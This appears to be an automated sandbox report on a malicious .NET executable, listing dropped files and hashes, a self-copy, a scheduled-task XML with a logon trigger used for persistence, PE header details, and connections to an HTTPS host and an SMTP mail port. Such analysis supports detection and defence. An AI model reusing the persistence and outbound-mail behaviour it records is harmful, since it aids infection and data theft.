SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kAsh3nmsgs.exe.log

Download File

Process:	C:\Users\user\Desktop\kAsh3nmsgs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380134126512796
Encrypted:	false
SSDEEP:	48:+WSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//Z+Uyus:+LHxvIIwLgZ2KRHWLOugIs
MD5:	83D814868CBF9068DD1444C317198A9C
SHA1:	6049307C35C1B0D2F83FA2AFC9CE1C4FDD7B3097
SHA-256:	82FC1E483B2623D07B9D4D11765CA6DE67AEB3736ADA12AEF538CC7308ECBE57
SHA-512:	C281867927B40CD12B10984C8678956B33278EF8C704F993597D1462A41E92D6582404294EE1B20DD4A99BF704E2854544A37447081AD9B7CC90C3ED33A82E74
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0upzlxk0.dyg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1h2wj3xz.ba1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aecd2v3j.bg3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbtkak1q.2pu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3ntqzln.rx0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_usb0cxeq.2ig.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeyeakff.ozg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yn4pcl44.e04.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp4794.tmp

Download File

Process:	C:\Users\user\Desktop\kAsh3nmsgs.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.113430814479235
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtanxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTqv
MD5:	7DF3A518234304E3DF5524A16E4C10EF
SHA1:	909109903CA581393A8713E2428AAE740EB30151
SHA-256:	26A2FDBCDB73D11C525187C3020899F221E0C5A5B5FFF9744C91F45FF9AC6F35
SHA-512:	264C8F35D422C482317A85E2DF42BCBD19A021F240D9DBEB73621B85CFBA1FDE6419EFEE21CB43C8AB58F62C7378ED5624D7FC15FD44FD00F265940F4B78BC3D
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp586D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HHhSyZN.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.113430814479235
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtanxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTqv
MD5:	7DF3A518234304E3DF5524A16E4C10EF
SHA1:	909109903CA581393A8713E2428AAE740EB30151
SHA-256:	26A2FDBCDB73D11C525187C3020899F221E0C5A5B5FFF9744C91F45FF9AC6F35
SHA-512:	264C8F35D422C482317A85E2DF42BCBD19A021F240D9DBEB73621B85CFBA1FDE6419EFEE21CB43C8AB58F62C7378ED5624D7FC15FD44FD00F265940F4B78BC3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\HHhSyZN.exe

Download File

Process:	C:\Users\user\Desktop\kAsh3nmsgs.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	835072
Entropy (8bit):	7.73957486937244
Encrypted:	false
SSDEEP:	24576:ISu336AhZYD+Oxv2lVzxNpnFuR1zGUxj:Il3q2GD+Pt/gL
MD5:	71DBD91C836C0B016174CA9E0A2B848A
SHA1:	4417EBCD2635EB4F5D66707A2E2BB5440D058C5C
SHA-256:	DF3A573B20EBE9B8A1D4769EC25F439B2738EA14008D9BBF469234033845E6CA
SHA-512:	1C583039970AFCD51FD6CFA42A17BC76CAB9B410177E01A054767249AC9BC5EB341D3B109CF6A26A34D9D753F9D339CBC95D49A8AC9F52F35B361D28682F9DE0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................... ............@.....................................S................................................................................... ............... ..H............text........ ...................... ..`.rsrc...........,..................@..@.reloc..............................@..B.......................H.......................(....0............................................W.'ISYB.R.fU[..C.G...;.....k.H.....Uqz-.w..I.s.R.+..Dy.L.9.Q.s......}G.....Fst.Fy..../....b..!5..M...1.^<...K......H.\|.a\.]....<3....o.T.......8G..~....W@....0..Q......2`:..(..H....].^.8...A....s$Q.B5.......QNf..",.0....>L.].....J.B..&x...+.........c.32..}!....G.. n.WZ.%.}.V...MW..<P..8q.F.....9.X..eh.,6....B.....F8.....2.#:.Z...z:l.A[.hu.\|.R...p...JN-.,...p}.i..,.i.0....e.....A2.....Q..

C:\Users\user\AppData\Roaming\HHhSyZN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\kAsh3nmsgs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.73957486937244
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	kAsh3nmsgs.exe
File size:	835'072 bytes
MD5:	71dbd91c836c0b016174ca9e0a2b848a
SHA1:	4417ebcd2635eb4f5d66707a2e2bb5440d058c5c
SHA256:	df3a573b20ebe9b8a1d4769ec25f439b2738ea14008d9bbf469234033845e6ca
SHA512:	1c583039970afcd51fd6cfa42a17bc76cab9b410177e01a054767249ac9bc5eb341d3b109cf6a26a34d9d753f9d339cbc95d49a8ac9f52f35b361d28682f9de0
SSDEEP:	24576:ISu336AhZYD+Oxv2lVzxNpnFuR1zGUxj:Il3q2GD+Pt/gL
TLSH:	8E05D0983611B09FC8A7C9318964DDB4A6206CBB9B0BC30395D72DEFBA1D597DE041F2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	323636b29699c72c

Static PE Info

General

Entrypoint:	0x4cabfe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xCC1F1A8D [Sat Jul 9 11:07:57 2078 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcaba8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcc000	0x2a08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc8c04	0xc8e00	f6b6d3e737ff7de753d8d0c6926c2c87	False	0.8864452881922837	data	7.744400724877213	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xcc000	0x2a08	0x2c00	eda927ab2af364d1f9a1109e582ebd1c	False	0.8746448863636364	data	7.486239477388125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0xc	0x200	0da7e65977f7ad5135fc1e15bb5ff56a	False	0.041015625	data	0.07763316234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xcc130	0x244f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9797740720817644
RT_GROUP_ICON	0xce580	0x14	data	1.05
RT_VERSION	0xce594	0x288	data	0.46141975308641975
RT_MANIFEST	0xce81c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:23:26.515547037 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:26.515588045 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:26.515795946 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:26.526371002 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:26.526381969 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:26.987217903 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:26.987317085 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:26.991131067 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:26.991147041 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:26.991518974 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:27.038960934 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:27.111110926 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:27.151331902 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:27.223304987 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:27.223376989 CET	443	49733	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:27.223589897 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:27.230345964 CET	49733	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:28.174760103 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:28.179642916 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:28.179733038 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.023623943 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.023920059 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.029462099 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.263776064 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.263958931 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.268870115 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.503464937 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.503952980 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.508884907 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.745408058 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.745471001 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.745512962 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.745537996 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.745551109 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:29.748044968 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.776761055 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:29.781621933 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.016757965 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.020392895 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:30.025393963 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.246028900 CET	49737	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:30.246071100 CET	443	49737	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:30.246191978 CET	49737	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:30.249731064 CET	49737	443	192.168.2.4	104.26.13.205
Jan 11, 2025 09:23:30.249744892 CET	443	49737	104.26.13.205	192.168.2.4
Jan 11, 2025 09:23:30.260145903 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.264136076 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:30.269037008 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.503766060 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.504053116 CET	49734	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:23:30.508965015 CET	587	49734	77.88.21.158	192.168.2.4
Jan 11, 2025 09:23:30.721966028 CET	443	49737	104.26.13.205	192.168.2.4
